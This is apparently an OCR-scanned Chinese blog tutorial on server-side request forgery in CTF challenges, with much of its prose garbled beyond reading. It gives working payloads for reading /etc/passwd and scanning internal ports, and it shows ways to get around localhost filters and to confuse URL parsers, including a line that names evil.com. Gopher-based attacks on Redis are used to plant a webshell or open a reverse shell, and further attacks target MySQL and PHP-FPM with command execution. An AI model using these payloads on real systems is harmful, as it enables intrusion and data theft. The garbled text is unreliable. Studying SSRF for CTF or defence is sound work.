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H X SSRF(Server-Side Request Forgery: iR %28 b & R VE )N BRI XL ERZ T, XEFEREH EIMITct
o8 B ) — Estrick A EBEAEFE —T .

A A AR AR 4 SSRFEA T 55 #: (SSRF (server-side request forge, HRk45imis Ky
), B LIRSS I R A T8 e SR B BRI TRTR . B X SE R T AR SSRF IR A ZE Ak AN 1R R R 5L
B o

BB A A, W A B ctffl H 2 % 22 SSRF S A7 fESSRF I AR, 1 56 Z 4138 H Bl ssrff) ok H &
AKX file get contents ()~ curl(). fsocksopen (). fopen (), WRKRMBFEEHEL T, L
HFE AR X BN B HOsh R BT LRI 2 B A ssrf, W& & H FIUEAS, ssrffN O — =2 HILE T FH M B IR K
W7, AU B EGE R B R ER B E, B FIhctps/ /) £ile://, dict://HHLEm—

To
ZA4E1F, i H AT T8 81 — 18 A flagshop e i ssrfise S 4

Request Response

|Raw| Params | Headers Hex |Raw| Headers | Hex

GET £ HTTP/1.1 200 OK
Isandbox/871e32bb-f0c4-4647-9cc2-1cd2dae7 B26c/backend. php?readfile=file ///etc/passwd Server: openresty

HTTPM.1 Date: Thu, 15 Oct 2020 01:24:36 GMT
Host: flagshop. xhlj. wetolink.com| \ Content-Type: text/html

User-Agent: Mozilla/s.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 956

Accept: */" Connection: close

Accept-Language: zh-CN,zh,q=0.8,zh-TW;g=0.7 zh-HK ;g=0.5,en-US,;g=0.3, en;q=0.2
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Connection: close

Referer: http:/fMlagshop.xhlj.wetclink.com/sandbox/871e32bb-f0c4-4647-9cc2-1cd2daer826¢/
Cookie: sandbox=871e32bb-f0c4-4647-9cc2-1cd2dae7826¢

SSRF¥ W H &
T AN

FECTFHR, ssrff WEKIHAZRN AW, WRKB T AMIPEIMEB, 7T H R OB ZHEUNARMKIP, T

25 W LA E L BRI T i

X-Powered-By: PHP/5.5.9-1ubuntu4.29

Vary: Accept-Encoding /
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usrisbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/binfsync

games:x:5:60:games:/usr/[games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

v IpixiT:T:lp:ivar/spool/lpd:/usr/sbin/nologin


https://hetian.blog.csdn.net
https://blog.csdn.net/qq_38154820/category_9846693.html
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=java&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=http&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/109252839
https://blog.csdn.net/qq_38154820/category_9846693.html
https://www.hetianlab.com/expc.do?ec=ECID725a-bf5b-43a5-a0d8-21cdb973983f&pk_campaign=CSDN-wemedia
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# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306', '8080", '8000" ]
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #AMipHiht
for port in ports:
url = "http://ip/?url=http://%s:%s"' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != @ : 3% B B AR 3 S B 1 VL
print(ip,port,'is open')
except:
continue
print('Done")

XESHEBNEEN i OMIPKDE, FEMNEGYREHESAHKOKTEE, #Al AiEportsi
HNrange () BN —EREE, REREIKKELen (res. text) BREHAW—TF.

burpsuite

A] PLi% B A burpsuite @4 B Intruder 2 18 8%, BAREEMAEKIRT .

nmap L &

AR ARG E, HERAnmap—iER.

nmap -sV ip

nmap -sV ip -p6379 //¥&E6379% 0
2:51: ATLAFECTFHubH £ BB ->ssr-> 0 3 238 — T,
SSRF*# [fjbypass

fEctfh, ARHE&ban—L&4E Mip, Hw127.0.0.1, ARMERKE —#E127.0.0.1, BF 2Ed IEN £ LAZE
ANFRF, XEAGE— T £ SR X EWAF.

302k ¥

A—AMulitdbR: xip.io, HWRXANMRFHERTEHLKRE, HEERIXANTFEHSL, 26T
LBATVTE : http://127.0.0.1.xip.io/1.php, Zkx b5 iH # & http:/127.0.0.1/1.php.
BIiXMM LB nip.10, sslip.ioo

nRphpjain A& Mparse url ¥ hostS HAMR TS T127.0.0.1, MW LHRXMITESEE, EHEW
RRRERTFAERET127.0.0.1, XMTERATITT, XENHEE -M30275.
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https://4m.cn/Fj0dQ

e aiEE B

http://127.0.0.1/flag.php https//dmcn/Fioda | &l | KARE (CREFEEHE)

—RgEa

BH#HMhttps://4m.cn/FIOodOMii &3028k%%, XA AT LLGEWAFT .
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A DA A — SN R o B Aipsi bk, TS WAF, 31X BL45 H S php i A< T A — g e 4k

<?php
$ip = '127.0.0.1';
$ip = explode('."',$ip);
$r = ($ip[@] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;

}

echo "+l ";
echo $r;

echo "/\i#l:";
echo decoct($r);
echo "7 it ";
echo dechex($r);
?>

ER/GEHpAT Z M E—A0, HA)GHBIETEKOR LA, o itz _ £ —40x.



/ http://127.0.0.1/1.php x \ =k

€ |2130706433/1php

Most Visitedv [l Offensive Security “e Kali Linux
hello world —1— i %

/ htp//127.00.ULphp % | +

€ ) 017700000001/1.php

Most Visitedv [l Offensive Security "\ Kali Linux

hello world A\ 33 4
/ http://127.0.0.1/1.php x |+
€& | 0x7f000001/1.php

Most Visitedv [l Offensive Security "\ Kali Linux
hello world + 75 3 %

F FI DNS##&#r

WRIRA CHBAKE, W LERE EREALR, $879127.0.0.1.
ssif A A 127.0.0.1

-

| € ) @ | ssrf.kawhi.xyz/1.php
Most Visitedv [l Offensive Security S Kali Linux
hello world

A H @seid

http://www.baidu.com@127.0.0.15nttp://127.0.0.1ERRMAFRK.

HoAth &8 17127.0.0. 18 3t 11k



http://localhost/

http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::]1:80/

http://127. 8. 8. 1/
http://000.0.0.0

http://127.1/
http://127.00000.00000.001/

00 N O V1A W N B

%147 localhostsf 2 #5127.0.0.1

247 P 07Ewindow F83£0.0.0.0, MiEliunx X% 127.0.0.1
$3171819127.0.0.1, ZEliunx AT A, windowillik T FA4T
$#4471819127.0.0.1, ZEliunxTATAH, windowillik T T 44T

EHOTHP XRS5

%647 F Y1 & Enclosed alphanumerics 77 #5585t , 38307 8 DL K Foh— 0] DALMY B 3R3R
BT8THONBES — Kb — REEEN, REEREKER127.0.0.1

AEEB LT

fHKRfile get contents () REH—Atrick, FTLFEERSSRFK—/NBE, ZHPHP
] file get contents () EREAEBR AN NIRKIOE P SCEL MRS O P SCK MO R, & E R FBIE
W, i fr R /AW E LB B BIA 2R B A9 300 .

(s

<?php

highlight_file(___FILE_ );

if(!preg_match('/~https/is',$_GET['a'])){
die("no hack");

¥

echo file_get_contents($_GET['a']);

?>

BEACRR #1 3 AT R B8 iEhttps TSk B BR 4R, (BRI AR MR BRATHT LA -

httpsssss://

P& B 3 [B138 5 RO B PR 7 3

httpsssss://../../../. etc/passwd
/.

ofloollool]
httpsssss://abc../../../../../../etc/passwd



Mozilla Firefox

J http://127.0.... Jetc/passwd x | +

€ ) @ |127.0.0.1/1.php?a=httpsssss://../.0.0..0..L.let | & || Q¢

Most Visitedwv [l Offensive Security “ Kali Linux “§ Kali Docs “e

<7php

highlight file( FILE );

if(!preg match('/“https/is',$ GET['a'l)){
die("no hack");

}

echo file get contents($ GET['a'l);

7>

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/us
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/us:
/bin/sync games:x:5:60:games:/usr/games:/usr/sbhin/nolo
/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nolo

XA B R AT DAFE SSRF AR il i ban i 1% L T R #EAT SR BUCAH
£ ctf.show A BEAF iweb2 # N D EtiB BIIX A K.
URLF f# 7 i) &8

readfileflparse_urlf#th 7

Geit v A

BATTEphpstudy 5 Fssrf.php

<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){
readfile($url);
} else {
die('You Shall Not Pass');

}

FELEAE F pythontE 53 — /N H g — AN R %%



A | Cmder

C:\Users\Think\Desktop\kawhi
A python -m SimpleHTTPServer 11211

Serving HTTP on ©.0.0.0 port 11211

fEssrf.phpH ARG FR #lparse _urlsF Kport R 5625 T80, R IRATFE E HreadfileZ= st H At O B ST E, 7T LAH
RS

http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt

& e 0B © ® 127.0.0.1/ssrfphp?url=127.0.0.1:11211:80/1.txt

Notice: Use of undefined constant url - assumed 'url' in D:\phpStudy\PHPTutoriaA\WWW\ssrf.php on line 2

Notice: Use of undefined constant port - assumed 'port’ in D:\phpStudy\PHPTutoria\WWWH\ssrf.php on line 4
flag{this_is_a_flag} -

A LAE BT B T 1121135 B 1.0, X B AE FHblackhati) — 5k B .

Abusing URL Parsers

PHP parse_url
> Perl URI

NCEREI// L2 (5 0% O ss R RO ARS8 O

PHP readfile
Perl LWP

A] A& H readfile Bi R B i O 2 BT TH — 3/, Tiparse urlll 2 &5 8 5K 0, FIHAXMERKAR, M
T 58 WAF .



XA BB FThost I IRt B Z 57, T

Abusing URL Parsers

» PHP readfile

http://google.com#@evil.com/

PHP parse_url

curlfiparse_urlf@tr 57

M ] BUE Blourl #1258 — N @J T HI M 3L, T parse_url @4 592 % — A @I Mk

Abusing URL Parsers

_CURL
libcurl

http://foo@evil.com:80@google.com/

NodeJS URL

Perl URI <

Go net/url

PHP parse_url
Ruby addressable

FEMRZ RIREA — BB T XA R, HEWT:




<?php

highlight_file(__ FILE_ );

function check_inner_ip($url)

{
$match_result=preg_match('/~(http|https)?:\/\/.*(\/)?.*¥$/"',$url);
if (!$match_result)
{

die('url fomat error');

$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse[ 'host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('17
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip°';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl _close($ch);
var_dump ($output);

}

$url = $ GET['url'];

if(lempty($url)){
safe_request_url($url);

A LAE B check inner ip B url parsel@llZENAMIp, WRBHLEARAM ip, EE curl XK url
BREIZE, XA AR Heurlfiparse_urlf@#th 2R ARRSTE, ik parse url AL, &
J& curl iERAPIRIE.

& J& Hpayload N



http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php

B RURLK T ) S N4 3% https://www.blackhat.comvdocs/us-17/thursday/us-17-Tsai-A-New-Era-
Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

SSRF3# B A &
Y i Redisfk 5

Redis— & 248 E 63794 1, WRBEFREODS (BRARTL) , BEEHtnT LUl T SSRFHRF AR Z A 7 N
MRedis, —#%Fk5 A\ Crontabse i} {E 45 R k#shell, 5i# 5 Awebshell&4% .

ECTFE B R 3 T AWK AR S FF 7637985 0, —MK Uit & Redis RIZ 5 H¥EIH, 3 H&Hban
Fgopher://, ATULAM EREA—ER. X E#EFE—A T Hgopherus:
https://github.com/tarunkant/Gopherus

5 A\shell
BT

python gopherus.py --exploit redis

ZJa Bk IEEE:

Ready To get SHELL

PHPShell

rar/ www /h tn l 1 -
<?php echo system("cat /flag")?>




B eaibfRik#EEReverseShell/PHPShell, i £ &k ishell, [5& 25 Ashell, XBEHEI11EHES Ashell, REE
THAREERINE X, XE—BEFERIAT], =25 NEPITHPHPRL,

1E A SSRFIRIH [ H#h 77 1 N\ A& B i) payload—EB[ gopher://127.0.0.1:6379/5 i — KB, B TRSEHF TFERK
shell.php.

173.45.158.12/shell.php

REDIS0007 redis-ver3.2.11¢ redis-bits@ @@ctime@p_@used-mem@po €€ €5 flag{3eace94a-709b-4183-89d5-febb5a53a56f} flag{3eace94a-
709b-4183-89d5-f6bb5a53a56f} ¢ €7 {\@1

BEEENEMREZENMMIFIMAESR BEEMARTHIT, EEENERMOURLAARIE, —EEidBURLwIE—
Y/
HHRBIE: [GKCTF2020|EZ= &% -EZ2Webs & CTFHubH £ gé#->ssrf->redis

S 3shell

St F Redisik 55— & A B B N\ E HAE S kil & = #shell e, B LAE A R T B i%#EReverseShell 7]
DA —4# 4 fipayload

A cmder = m| X

A python gopherus.py --exploit redis

Ready To get SHELL

ReverseShell

Before sending request plz do “nc -lvp 1234°

python.exe Search (ﬁ vi-ali=

i%&¥FReverseShell, ARJ5E5NRE R #B|IFVPSHIHbE, FRNXBERIRO TRESIFR12347T, FURIMNER
EVPSHWrne -1vp 123480H],



FARKAECTFE H ATk #shelix M, XEHAEILRET, E2TEISERET LAEWeblgicis
I —T x¥#shell, HRHXEHBBERS, XEAEERT .

i My sqlfik 55

R AR E 733065 0, FERE ZEEKmysql, M A] LAE B gopherthist k47 ssrfX ik
23t B P AR

SFAEA TR — A TE I P

CREATE USER 'kawhi'@'localhost';
GRANT ALL ON *.* TO 'kawhi'@'localhost';

-Fgg*%ﬁﬁwwﬁj-ﬁﬂ
= PEF - e EEE SrE e BeE BEEs CUEksal B e
=B TE Z9REsS

1 CREATE USER 'kawhi'@'localhost':
2 GRANT ALL ON *,* TO 'kawhi'@'localhost':

it

=B @R B

[SQL]CREATE USER 'kawhi'@'localhost":
FEWENT0
&8k 0.003s

[SQL]

GRANT ALL ON =* TQ 'kawhi'@'localhost"
EEWET: 0

Bfi8: 0.001s

1B1T 52 2 JG AT LA$T Frphpmyadmin& K EE & G ), 251X B ELE B 7t 2 ) ik T Egopherus.



A python gopherus.py --exploit mysql

: kawhi

: use kawhi;select * from users;

Your go

F—BBEANHAFNLT, EBBANEEARNIER, 4R payloadFurlgwid—ik, BHET.

« c |, 127.0.0.1/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%32a3306%2f %25a4%2500%2500%250 B v € & J » =
O Exhig® LreE

1 5.5.53)%VE7"Chf@ €!9EgW\IB}/IVIMmysgl_native_password 5defkawhiusersusersusernameusername! @ € 5defkawhiusersuserspasswordpassword
1§ @ &g2mtuflag(this is flag}

g

" LR B R Zh B B users RIS B, IEF] T A ImysqlR A7 11 HE 9 B 1.

XFFFHSSRFFTmysqlth B £ AECTFH H Bt : ISITDTU 2018 Frissixi&, & H ZEMEES%:
https://xz.aliyun.comVt/2500, X EEAERT .

Gopherk %15 3k

SSRFIRAR IR S umiE Ry &L L, NERGETEE ZPOSTHE, HRENTEI—NEK, MEALRSHER
IRATIE R

MAECTFhH A HEEFHBIRXM T EYE, AT — AWM NAE LA, BINTFEEIPOST
R AE, T HGopherthil& A #tban, FATH A LLEEHIE—MEREZITAN, THENEMEF WAH

S
=

B, BATTUFR Agopher: //MHAT AR KEGetFPostiE R, TEERMNAREN REMIFERL P2
A — LR PR FAF BEAT Ui, SRR AEURL A 3232 payload i i & B AT —RurlZefid, SeRE B W RIE M
B R

POSTiE kK

fEphpstudyS A 1.php

<?php
echo "Hello".$ POST['a'];



burpsuiteMEIRELE KL, POSTEKERLEREZIT, RATHRINEAH &R L, (H22ZE1248 0 _EContent-
TypefiiContent-Length, 448 a0 AR 4 &6 2 7T LA

POST /1.php HTTP/1.1

Host: 192.168.0.102

Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world

RJE TEXS B — LR F AT Ui, ERIEH P RIBRAT TN L %0D%0A, JRFIIINE E R~ KK
M7, KXEGH— A,

— R AL A

import urllib

import requests

test =\

"""POST /1.php HTTP/1.1

Host: 192.168.0.102

Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world

urllib.parse.quote(test)
tmp.replace('%0A", "%OD%OA")
result = ' _'+new

tmp
new

print(result)

£ B H N EVREIERAAIZAT, 5 BATE SN 45 R AT F 30 _Egopherth Sk MIP:3w M, HRZ&04:

gopher://192.168.0.102:80/_P0ST%20/1.php%20HTTP/1.1%0D%0AH0st%3A%20192.168.0.102%0D%0AContent-Type%3A%20app

R JE Mourlir &R M EATHIER, 7TLAE BT RENE N A T .

# curl gopher://192.168.0.102:80/ POST%20/1.php%20HTTP/1.1%0D%0AHOSt%
3A%20192.168.0.102%0D%0AContent -Type%s3A%s20application/x-www-form-urlencoded®%0D%0
AContent-Length%3A%207%0D%0A%0D%0Aa%3Dwor Ld%s0D%0A
HTTP/1.1 200 OK
Date: Fri, ©2 Oct 2020 02:53:47 GMT
Server: Apaches/2.4.23 (Win32) OpenSSL/1.0.2j mod fcgid/2.3.9
X-Powered-By: PHP/7.0.12

Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

-
Helloworld
0

FEEBRNRE, MREEEUEANRERER KIEMPOSTEE —KH Bulgwid—Ik, i, FAIEphpstudyS A—NFssrils
T KIssrf.php



<?php

function curl($url){
/1 RIB— A HE cur L IR
$ch = curl_init();
/ /B BURLFIAE R %75
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
/ /JRHERURLFF 18 & 1 i 45 ) 05 2%
curl_exec($ch);
//FRAcurl®IE, HEBERRARIR
curl_close($ch);

}

$url = $_GET['url'];
curl($url);

?>

HERM EmKpayloadté Aurl, £KIEEE.



XD wEE BFBN BRO #BEE) IRDO #HEH) n

192.168.0.102/ssrf.php?url=gop X

& G © ¢/ 192.168.0.102

O @ HackBar O &&:E O #H&8 » 0] - X

@l Load URL http://192.168.0.102/ssrf.php?url=gopher:

i 1/192.168.0.102:80/_POST%20

g SPItURL /1.php%20HTTP/1.1%0D%0AHost
%3A%20192.168.0.102%0D%0AContent-
Type%3A%20application/x-www-form-
urlencoded%0D%0AContent-Length%3A%207
%0D%0A%0D%0Aa%3Dworld%0D%0A

‘ » Execute |

[] Postdata [ ] Referer [] User Agent
[ ] Cookies Clear All

fEgopherth il &5 B urlgm g —iE st vl AR I E & .



MXHE) miEER) BFARNV) BREO #HEB) IRO HEH) n

192.168.0.102/ssrf.php?url=gop X

& G © ¥ 192.168.0.102

HTTP/1.1 200 OK Date: Fri, 02 Oct 2020 02:59:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2

mod fcgid/2.3.9 X-Powered-By: PHP/7.0.12 Transfer-
Encoding: chunked Content-Type: text/html;
charset=UTF-8 a Helloworld 0

N @ HackBar O & B =He » 0] e X

@l Load URL http://192.168.0.102/ssrf.php?url=gopher:

: //192.168.0.102:80/%5f%50%41%53

g SPITURL %54%25%32%30%2f%31%2e%70
%68%70%25%32%30%48%54%54 \

» Execute
%950%2f%31%2e%31%25%30%44
%25%30%41%48%61%73%74%25
%33%41%25%32%30%31%39%32
%2e%31%36%38%2e%30%2e%31
GETi#%k:

GETHERKEMPOSTIEREA—, XERAHERT .
FHRHIEE: 20205 M A1 half_infiltration
B /I — &R 5 #AE 3R] ssrf.php



<?php

/ /& AN 35000 LA T ik 1 LA K& 50000 UL _E 3 O RN FEFEAEAT 3 MRS, 16 4k 529538 1 W
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){

die("");

}

if($url)

{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);

}

?>

B 14000058 1 RN EFAE, RJEH LEThee, SHfileMcontent? kA% 34

F & Fgopherthil kiZ—APOSTiERE L, payloadinF:

gopher://127.0.0.1:40000/_POST /index.php HTTP/1.1
Host: 127.0.0.1

Cookie: PHPSESSID=bv2afbkkbbpgkio8tjmai4ob7
Content-Length: 174

Content-Type: application/x-www-form-urlencoded
Connection: close

file=php://filter/%2577rite=string.rot13|convert.Base64-decode|convert.iconv.utf-7.utf-8/resource=1.php&con

BJEpayloadin T, EASEHEEE R Rurldiid:

http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000

PHP-FPM

B, PHP-FPMESLIME HFastCCIR#HE, £ —/FastCGHH#ITa%, MFastcgiA i 2 — M lfE i,
FKTFHTTP, #MREFATHIEZ ) —MEE, BEIEWOT:

TCPHEAX AN — M E (BRIAA9000) , NginxdBzs /= 3 £ 45 il it FastCGIFh 4% 4590003 H, PHP-
FPME 21 %3 J5 & 18 F CGLE R A# AT -

T PHP-FPMXt it 238 i Oy i& FastCGIH L B St BPHPAURE$AAT ,  EATTAT UE I 3 S Aie B A5 B R BATAE R AL
php AP ERABIEN, (BTHELKRTphplEW, TUFERZATER—RCE: CTF+.htaccess
XHBFA) , A5l Aauto prepend fileflauto append file, XBAELEIZEEphpfE AT B3
2 Hr, Sof & B b e E K S ﬁﬂ%ﬁﬂl‘]fﬂauto_prepend_fileﬂzauto_append_fileE‘J{Eiﬁ%
Aphp://input, BLEEE & FHPOSTHRAL K EE .

ERXBEEAN BB Zphp: //input {BEHFHallow url include, XBEAPAF|HPHP ADMIN VALUE,
E—fi#iBlpar ApMIN VALUEARABAFIFTE . htaccess, {HZFastCGIMHPEP ADMIN VALUEH FIRA]
PAMEE K R E, BAIFAPEP ADMIN VALUEHallow url includef&HATrue.

SRR T:



B
BAElunX T JE 3 — NI IR E B 1.

:~# nc -lvvp 9000 > 1.txt
listening on [any] 9000

connect to [127.0.0.1] from localhost [127.0.0.1] 49910
sent ©, rcvd 572

ﬁ%::iﬁ:
X BAEHAPHE TR —exp

https://gist.github.com/phith@n/9615e2420131048f7e30f3937356cf75

BRI LR Apython f, RIXEA1.py, B1TFH-cHANEHATHIphpRid

python 1.py -c "<?php var_dump(shell exec('uname -a'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

# python 1l.py -c "<?php var dump(shell exec('uname -a'));?7>" -p 9000
127.0.0.1 /fusr/local/lib/php/PEAR.php
Traceback (most recent call last):
File "1l.py", line 251, in <module>
response = client.request(params, content)

Fite " "l.py", line 188, in request
return self. waitForResponse(requestId)
File "1.py”, LINet193;1n waitForResponse
buf = self.sock.recv(512)
socket.timeout: timed out

RIE AR M.
B=

R ZE B OO R url s, ZAEF R, FAZRENERulmALRERRGE—K, ZEERGHNAE, HA
FIBE I L T gopherti i &5 AT AEL AT, W R Hip AR AT LA BT E i

import urllib.parse

f = open(r'l.txt','rb")
f.read()
urllib.parse.quote(s)

S

S

s = urllib.parse.quote(s)

print("gopher://127.0.0.1:9000/_ "+s)

ZBATHR 3

gopher://127.0.0.1:9000/_%2501%2501E%25D3%2500%25087%2500%2500%2500%25017%2500%2500%2500%25007%2500%2500%2501%

XERAECTFhubiFastCCIMEEERIT 1, HAAHB R AT AR, W] LLE BIBATT i AT PHPAUHS B Zh B & 3k
77T



<?php var_dump(shell_exec('uname -a'));?>

€ 2> C (O A F&% | challenge-98e0252058cdfd81.sandbox.ctfhub.com:10080/?url=gopher:;//127.0.0.1:9000/ %250... ¥ #8 &
e i | ERA axd =@ IER CTFFE@® ol

OO0EOOO0X-Powered-By: PHP/5.6.40 Content-type: text/html; charset=UTF-8 string(123) "Linux challenge-98e0252058cdfd81-
666b87bd9d-gfskx 4.19.24-7.19.al7.x86 64 #1 SMP Fri Jul 10 17:10:10 CST 2020 x86 64 Linux " OOEOO

AN

A i Essr s b & HIX AL, BEXHE AR urliREH hostituhl, R /E#EATdnsNT, FKEiptik, R)5
XFiptb ik AT R G, SR -EE R F curliE K IR 2 R S —IRIE R

DNS-rebinding it & F| F 55 — Ui K M B R AT I 2 AR R sthhl, 70538 @M OB R R B R Ml XAMEER
E&4 ) = H TbypassHEJR KN, SRidssriiidiEE%.

AR

BEBERE AL, RERITRDFIERNARBARYT, —ROERER127.0.0.1, B—KHES
A4 B T

DNS-rebinding

@ A ik 4 127.0.0.1 B 600 2020-10-18 B e
) 17:14:03 i

@ A BRIA 134. 175058213 - 600 2020-10-18 gy HE
o 17:14:26 Ty

ERRX AT iR FENLENTE, B LURE 1R SE — IARAT iSRS Wip, 58 — AT B SR W INlipA RERLTD,
B VRN RA1/4.

X B RAECTFhub)DNSE 48 S5 T H IR :

(€)= ) © # challenge-656a1b4625153aal.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flagphp & < ¥

/

hacker! Ban Intranet IP 1T 127.0.0.1, IBRAERAMIP

el C o © # challenge-656a1b4625153aa1.sandbox.ctfhub.com:10080/?url=http://kawhi.xyz/flag.php & e« ¥

.

hacker! Ban Intranet IP EARIRIdNsRRIF A0S, B — OB

(— -» C @ © #& challenge-656a1b4625153aal.sandbox.ctfhub.com:10080/?url=http://kawhi.xyz/flag.php

W



MRBEBLKE, TUEFEnttp: //ceye.io/ EHdns rebindingT &, FIHIREWTF:
fEprofile T %0 P9 P i kit

€ 5> C 0 A FT&2| ceyeio/profile B O W
3 OmiA RS Ezd #6@ TER CTFEA@ b

7 Payloads

® AP | & Profile

X DNS Rebinding R Username:

E Records A
_ @ Nickname:

79f8771ba8cd =Emai

O Mobile:

Modify Profile Logout

A Verification: Verified

Last Login (UTC+0): 2020-10-18 14:02:39 < |dentifier:
“o API Token: 39893be7d6e0f9c873ac09977d6082b0

¥ DNS Rebinding: & 127.00.1 > & 47 232 X
——

PR TR R S REDLR E kAT, 88 58 DNS-rebinding B i

— c @ © & challenge-0e52aad51c086355.sandbox.ctfhub.com:10080/?url=http://rk1 Sb.ceye.io/flag.php 88 *** Y

ctfhub{70283543cd3ec9d4b2daf18e998e5f13787221fd} /

%F % % IDNS-rebinding B i i il 77 4 W 255 4
g

fEctfhssf— A BMBE, RSHEHERTRENED—AFHA, MRAFERREILA, BEERTES
), HTKFER, AEAREA —SRRARE, R aRIES T — s F 77 k:
https://www.zhaoj.in/read-6681.html, F XA LLEF .

SHEE

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending
http://www.bendawang.site/2017/05/31/%E5%85%B3%EA%BA%8EDNS -rebinding%E7%9A%84%E6%80%BB%E7%BB%93/
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